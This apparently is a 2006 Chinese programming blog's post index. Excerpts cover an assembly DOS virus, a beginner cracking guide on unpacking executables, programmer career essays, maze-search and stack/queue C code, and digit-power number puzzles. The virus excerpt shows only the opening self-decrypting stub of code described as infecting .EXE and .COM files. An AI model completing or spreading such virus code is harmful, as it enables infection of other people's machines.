博文
用汇编语言写的一个病毒--源码(2006-04-02 13:48:00)
摘要:这个病毒虽然比较简单。但是麻雀虽小,五脏俱全。隐藏,感染,加密等模块应有尽有(只是不会破坏),是一个比较标准的DOS病毒,可以感染.EXE(不包括PE)和.COM的可执行文件。
如果您希望学习汇编语言,用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记,我们姑且称它为CR病毒吧。
baseoff equ 107h
code segment
assume cs:code,ds:code,es:code,ss:code
org 100h
main:
mov ax,offset begin
jmp ax
db 'cr'
begin:
push es
push ds
mov ax,cs
mov ds,ax
mov es,ax
call get_ip
push ax
mov ax,offset encodebegin
jmp short get_ip_end
oldhead db 0h,4ch,0cdh,21h,6 dup (?)
get_ip label near
mov bp,sp
mov bx,[bp]
ret
get_ip_end:
sub bx,112h ;get current offset
add ax,bx
push ax
pop di
mov si,di
cld
mov cx, offset endtag-offset encodebegin
mov dl, byte ptr [oldhead+bx]
push si
decode:
lodsb
xor al,dl
stosb ;decode at runtime
loop decode
retf ;retf cs:ip=encodebegin
db 62h
db......
破解入门(2006-04-02 13:47:00)
摘要:第一课 壳
************
一.壳的概念
作者编好软件后,编译成exe可执行文件
1.有一些版权信息需要保护起来,不想让别人
随便改动,如作者的姓名等
2.需要把程序搞的小一点,从而方便使用
于是,需要用到一些软件,他们能将exe可执行文件压缩,
实现上述两个功能,这些软件称为加壳软件或压缩软件.
它不同于一般的winzip,winrar等压缩软件.
它是压缩exe可执行文件的,压缩后的文件可以直接运行.
二.加壳软件
最常见的加壳软件ASPACK ,UPX,PEcompact
不常用的加壳软件WWPACK32;PE-PACK ;PETITE ;NEOLITE
第二课 脱壳
************
拿到一个软件,我们首先根据第一课的内容
侦测它的壳,然后我们要把它的壳脱去,还原它的
本来面目.若它没有加壳,就省事不用脱壳了.
一.脱壳软件
unaspack,caspr,upx,unpecompact,procdump
二.使用方法
(一)aspack壳 脱壳可用unaspack或caspr
1.unaspack 我的主页可下载中文版
使用方法类似lanuage
傻瓜式软件,运行后选取待脱壳的软件即可. 缺点:只能脱aspack早些时候版本的壳,不能脱高版本的壳
2.caspr
第一种:待脱壳的软件(如aa.exe)和caspr.exe位于同一目录下,执行
windows起始菜单的运行,键入 caspr aa.exe
脱壳后的文件为aa.ex_,删掉原来的aa.exe,将aa.ex_改名为aa.exe即可
使用方法类似fi 优点:可以脱aspack任何版本的壳,脱壳能力极强 缺点:Dos界面
第二种:将aa.exe的图标拖到caspr.exe的图标上
***若已侦测出是aspack壳,用unaspack脱壳出错,说明是aspack高版本的壳,用caspr脱即可
(二)upx壳 脱壳可用upx
待脱壳的软件(如aa.exe)和upx.exe位于同一目录下,执行
windows起始菜单的运行,键入
upx -d aa.exe
(三)PEcompact壳 脱壳用unpecompact 我的主页可下载中文版
使用方法类似lanuage
傻瓜式软件......
写给想当程序员的朋友(2006-04-01 18:40:00)
摘要:写给想当程序员的朋友
软件以程序员为本(《程序员》)
谨以此文献给所有想当程序员的朋友
(一) 文章由来及个人经历
我是一名计算机专业的本科毕业生,毕业已经1年多了。毕业后从事的是软件编程工作,经常有其他专业的朋友想从事软件编程工作,向我请教如何,因为我自觉涉行不深,不敢信口开河,无奈朋友信任,我不得不郑重考虑一下这个问题了,来帮助朋友选择和回报朋友的信任。
这也就是此文的由来。
还是先谈谈我个人的经历吧。(是不是有点俗套,但我觉得了解我的经历,有助于理解我话的含义;我一向认为不了解古龙的生活经历的,不会真正读懂古龙的作品和古龙笔下的英雄的)我本科就读于南方一所著名的高校(因为自己的不成气,愧谈母校名谓),学的就是计算机专业。上本科时,几乎没有认真的听完一门专业课程,上课看报纸睡大觉,下课看录像看小说看球赛,临考抱佛脚,每次考试和课程设计都是蒙混过关。(于之相对是,我选修的工商管理和经济贸易方面的课到是听得不亦乐乎,考的分数颇高,也许这才是我的真正兴趣所在。)
总而言之,大学是混过来了,对专业的理解和掌握程度,应该没有达到毕业要求的合格水平。(也很后悔,但是有什么用呢,当时不知道珍惜;如果上天再给我一次机会的话,我一定会抓住,多看点美国大片少看点港片;现在,重回校园是我的一大理想)但是大学的学习使我有了一个简单的知识框架(总算学费没白交),我对一个朋友这样形容过我的这个知识框架,“它不是钢筋铸的,是稻草扎的”,哈哈哈,不要笑,真的,我敢说很多本科毕业的朋友的本专业的知识框架也只不过是“稻草扎的”。直到现在,我一直觉得自己的基础知识还是很薄弱,一直想抓点时间,把基础书本好好的温习一下。(此项任务正在计划和实施中)
毕业后,分配到某研究所工作。当领导让我选择自己以后的工作方向时,我毫不犹豫的选择了软件(也不知道到底是对还是错,但我决不后悔)。此研究所主要是以硬件为核心搞通信控制设备的研发生产;软件是辅助,所以也不受什么重视,很多搞软件的人都跳槽走了,留下来的大都是一些已经废掉和行将废掉的“伪/ 萎”程序员(名副其实的“软件人员”)。在这里感觉不到什么高紧张和高技术程度的研究和开发;软件开发的技术含量极低,以致于大部分人只有半年的学习和开发经验,以后都是这些知识和经验的重复利用。(我问过其他到研究所工作的同学,他们说都一样,呜呼......
怎样做程序员(2006-04-01 17:05:00)
摘要:借用一句台词“如果你爱一个人,那么让他去做程序员吧。如果你恨一个人,那么让他去做程序员吧”这个世界再没有一种职业比程序员更痛苦了;再没有一种职业比程序员更快乐了;再没有一种职业比程序员更具有挑战性了;再没一种职业比程序员有更单纯的生活了。因为他是造物主,魔术师,流放者,虔诚之徒。
如果你只想做一些,“XX管理系统”之类的东东,拜托了请不要做程序员拿起身边的可视化编程资料,用一个礼拜时间在痛苦并未来临之前掌握完成,当然不会随之而来的还有快乐。其实可以学的好方向多的是,老实说,计算机现在已经没有前几年吃香了,正处于低潮期。MBA、法律都是很好的。兴趣是我们作事的最大源动力,当你在这个行业看不到自己的兴趣所在,那么毅然决定离开是最好的选择。但如果你选择了程序员,恭喜你,世界上最美好的,伟大的,震撼的作品就在你触手可及的地方。
一、起步
所有人都想成为一个高手,可要知道在所有的高手成为高手之前,他自己都有一个相当长的积累时间。当然,我不是说的那种攒机高手,我是指的真正的计算机高手。比如,懂得汇编可以从事系统底层的工作,或从事软件加解密的工作,这样也可以称为高手;再比如,精通OOP,熟悉设计模式,也可以成为系统设计的高手。高手的定义很多,总体来说,“高手”是在你的实际能力和水平达到一定程度之后一个很自然的反馈。所以千万不要在起步的时候用“高手”两个字来迫害自己,每个人都是从“顺序结构”开始的,每个人都从“main函数是什么?”的问题开始的,掀开第一页,打开编译器是你的起步。执著,坚持,非凡的毅力必定会成就你的。
二、学习
计算机的核心课程大致为:数据结构,组成原理,离散数学,操作系统,编译原理,系统结构,软件工程,OOP,图形学,网络,C/C++ /Pascal/Asm编程语言等。是的我知道你想学编程,我知道你今天就想写出一个windows 2006或者什么。我知道你不想学数学,不想学与程序看似无关的其他东东。但是拜托,请耐心点,把核心课程认真学习一遍或几遍,比如数据结构,比如离散数学,再比如操作系统和组成原理等等。为什么是“核心”以后会明白的。不要眼高手低,千万别想当然DS简单,不信你现在写个后序非递归算法,我估计你是挂了。
三、拓展
通过起步,你已经学会了三四个低级语言,五六个高级语言在短......
小鼠迷宫问题(2006-03-29 18:36:00)
摘要:Description
小鼠a与小鼠b身处一个m×n的迷宫中,如图所示。每一个方格表示迷宫中的一个房间。这 m×n个房间中有一些房间是封闭的,不允许任何人进入。在迷宫中任何位置均可沿上,下,左,右4个方向进入未封闭的房间。小鼠a位于迷宫的(p,q)方格中,它必须找出一条通向小鼠b所在的(r,s)方格的路。请帮助小鼠a找出所有通向小鼠b的最短道路。
对于给定的小鼠的迷宫,编程计算小鼠a通向小鼠b的所有最短道路。
Input
第一行有3个正整数n,m,k,分别表示迷宫的行数,列数和封闭的房间数。接下来的k行中,每行2个正整数,表示被封闭的房间所在的行号和列号。最后的2行,每行也有2个正整数,分别表示小鼠a所处的方格(p,q)和小鼠b所处的方格(r,s)。
Output
输出小鼠a通向小鼠b的最短路长度和有多少条不同的最短路。
第一行是最短路长度,第2行是不同的最短路数。
如果小鼠a无法通向小鼠b则输出“No Solution!”。
Sample Input
8 8 3
3 3
4 5
6 6
2 1
7 7
Sample Output
11
96
Source
Fujian OI -- 2005
#include
#include
#include
#define MAX 8000
struct Position{
int row;
int col;
};
typedef struct Position position;
struct Queue{
position queue[MAX];
int top;
int rear;
};
typedef struct Queue q;
position start,end;
int num=0;
position offset[4];
int grid[MAX][MAX];
void init_q(q *p)
{
p->top=-1;
p->rear=-1;
}
void enqueue(q *p,position x)
{
p->rear++;
p->queue[p->rear].col=x.col;
p->queue[p->rear......
栈与队列的例程(2006-03-29 18:19:00)
摘要:栈与队列,是很多学习算法的同学遇到第一只拦路虎,很多人从这一章开始坐晕车,一直晕到现在。所以,理解栈与队列,是走向算法高手的一条必由之路。栈与队列的题目涉及面很广,也很灵活。但是也是很实用的呢。
1.用队列来走一个4X4的迷宫,具体严本上有算法,这里只是实现。
#include
#define m 4
#define n 4
int mg[m+1][n+1];
struct mgque
{
int x,y,pre;
}mgque[25];/*队列:用来存路径*/
struct zl
{
int x,y;
}zl[5];/*四个方向的增量*/
int outlj(struct mgque mgque[],int rear)
{ int i;
i=rear;
do{
printf("(%d,%d)",mgque[i].x,mgque[i].y);
i=mgque[i].pre;
}while(i!=0);
}/*输出用rear反方向输出*/
int mglj()
{
int x,y,i=1,j=1,d,find;/*d是用来循环的增量*/
int rear=0,front=0;
mgque[0].x=1;mgque[0].y=1;mgque[0].pre=-1;
mg[1][1]=-1;/*迷宫左上第一个,若为0可通,标志为-1防止重复*/
find=0;
while(fronttop--;
return x;
}
EmptyS(Stack *s) /*判断空栈*/
{
return s->top==-1;
}
main()
{
int N=1348;
Stack *s;
s=(Stack *)malloc(sizeof(Stack));
s->top=-1;
while(N)
{
push(s,N%8);
N=N/8;
}
while(EmptyS)
{
printf("%d",pop(s));
......
数学猜想(2006-03-29 09:31:00)
摘要:
1.【回归数猜想】
英国大数学家哈代(G.H.Hardy,1877-1947)曾经发现过一种有趣的现象:
153=13+53+33 371=33+73+13 370=33+73+03 407=43+03+73
他们都是三位数且等于各位数字的三次幂之和,这种巧合不能不令人感到惊讶.更为称奇的是,一位读者看过哈代的有趣发现后,竟然构造出其值等于各位数字四(五,六)次幂之和的四(五,六)位数:
1634=14+64+34+44 54748=55+45+75+45+85 548834=56+46+86+86+36+46
像这种其值等于各位数字的 n 次幂之和的 n 位数,称为 n 位 n 次幂回归数.本文只讨论这种回归数,故简称为回归数,人们自然要问:对于什么样的自然数 n 有回归数?这样的 n 是有限个还是无穷多个?对于已经给定的 n ,如果有回归数,那么有多少个回归数?
1986年美国的一位数学教师安东尼.迪拉那(Anthony Diluna)巧妙地证明了使 n 位数成为回归数的 n 只有有限个.
设 An 是这样的回归数,即:
An=a1a2a3...an=a1n+a2n+...+ann (其中 0<=a1,a2,...an<=9)
从而 10n-1<=An<=n9n 即 n 必须满足 n9n>10n-1 也就是 (10/9)n<10n ⑴
随着自然数 n 的不断增大,(10/9)n 值的增加越来越快,很快就会使得 ⑴ 式不成立,因此,满足⑴的 n 不能无限增大,即 n 只能取有限多个.进一步的计算表明:
(10/9)60=556.4798...<10*60=600 ......